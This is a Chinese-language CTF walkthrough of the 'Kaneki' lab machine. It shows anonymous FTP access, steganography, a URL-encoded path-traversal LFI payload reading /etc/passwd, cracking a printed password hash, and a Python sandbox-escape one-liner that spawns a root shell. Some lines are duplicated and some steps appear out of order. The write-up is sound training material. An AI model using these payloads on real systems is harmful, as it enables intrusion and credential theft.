完整记录 Kaneki CTF 靶机渗透过程,涵盖 FTP 匿名登录、LFI 漏洞、Python 沙箱逃逸等技术细节。
在这篇 writeup 中,我将带你完整复现入侵 Kaneki CTF 靶机的全过程。本次攻击路径涵盖了网络枚举、逆向工程、隐写术、Web 漏洞利用(LFI)以及高级 Python 沙箱逃逸技术。
一切从探索 Web 界面开始。
Web 发现:首页采用了"东京食尸鬼"主题。

Web 发现:首页采用了"东京食尸鬼"主题。

源码分析:查看 HTML 源代码始终是好的习惯。一处隐藏的 HTML 注释提示应去"FTP 房间"寻找线索。

源码分析:查看 HTML 源代码始终是好的习惯。一处隐藏的 HTML 注释提示应去"FTP 房间"寻找线索。


我对目标执行了 Nmap 扫描以识别开放服务:
nmap -sV -sC [TARGET_IP]
结果:21 端口(FTP - 允许匿名登录)、22 端口(SSH)和 80 端口(HTTP)处于开放状态。

认证:使用匿名账户登录 FTP。
ftp [TARGET_IP]

提取:进入 need_Help? 目录,下载了 Aogiri_tree.txt(包含剧情相关提示)、一个名为 need_to_talk 的二进制文件,以及图片 rize_and_kaneki.jpg。
cd need_Help?
ls -la
get Aogiri_tree.txt
cd Talk_with_me
get rize_and_kaneki.jpg
get need_to_talk
exit
cat Aogiri_tree.txt

二进制分析:执行 need_to_talk 二进制文件,它要求输入一个通行密钥。
chmod +x need_to_talk
./need_to_talk

关键词发现:对二进制文件使用 strings 命令,找到了隐藏关键词 kamishiro。
strings need_to_talk

通行密钥提取:输入该关键词后,获得图片解密口令:You_found_1t。
./need_to_talk
password : kamishiro

隐写术:使用 steghide 从 JPG 文件中提取隐藏数据:
steghide extract -sf rize_and_kaneki.jpg
passphrase: You_found_1t
结果:提取出 yougotme.txt,内容为摩斯电码。
steghide extract -sf tize_and_kaneki.jpg
cat yougotme.txt

解码:通过 CyberChef(Morse → Hex → Base64),揭示了隐藏目录:d1r3c70ry_center。

d1r3c70ry_center
目录暴力破解:访问新目录后运行 Gobuster 查找隐藏路径,发现了 /claim。
http://[TARGET_IP]/d1r3c70ry_center/

gobuster dir -u http://[TARGET_IP]/d1r3c70ry_center/ -w /usr/share/wordlists/dirb/common.txt

http://[TARGET_IP]/d1r3c70ry_center/claim/index.php

LFI 漏洞:在 view 参数处发现存在本地文件包含(Local File Inclusion)漏洞。
Payload 绕过:为绕过过滤器,对 payload 进行 URL 编码以读取 /etc/passwd。
../../../../../../etc/passwd
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

凭证恢复:成功读取 /etc/passwd 并提取出用户 kamishiro 的密码哈希。
http://[TARGET_IP]/d1r3c70ry_center/claim/index.php?view=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd



username:kamishiro
password:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
哈希破解:将哈希保存到 pass.txt,使用 John the Ripper 破解:
nano pass.txt
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

哈希破解:将哈希保存到 pass.txt,使用 John the Ripper 破解:
john pass.txt --wordlist=rockyou.txt

username : kamishiro
password : password123
SSH 登录:使用破解出的凭证通过 SSH 认证,拿到 User Flag。
ssh kamishiro@[TARGET_IP]

password : password123
cat user.txt
PrivEsc 枚举:运行 sudo -l 发现该用户可以 root 权限运行 python 脚本 jail.py。
sudo -l
password : password123
代码分析:该脚本使用 exec() 但实现了黑名单过滤,屏蔽了 import、os、system 等关键词。
cat jail.py

结果:最终我获得 Root 权限并拿到 Root Flag。
sudo /usr/bin/python3 /home/kamishiro/jail.py
Python 沙箱逃逸:使用字符串拼接绕过黑名单,起初级 root shell:
__builtins__.__dict__['__im' + 'port__']('o' + 's').__dict__['sys' + 'tem']('/bin/bash')
cd ..
cd ..
cd root
cat root.txt
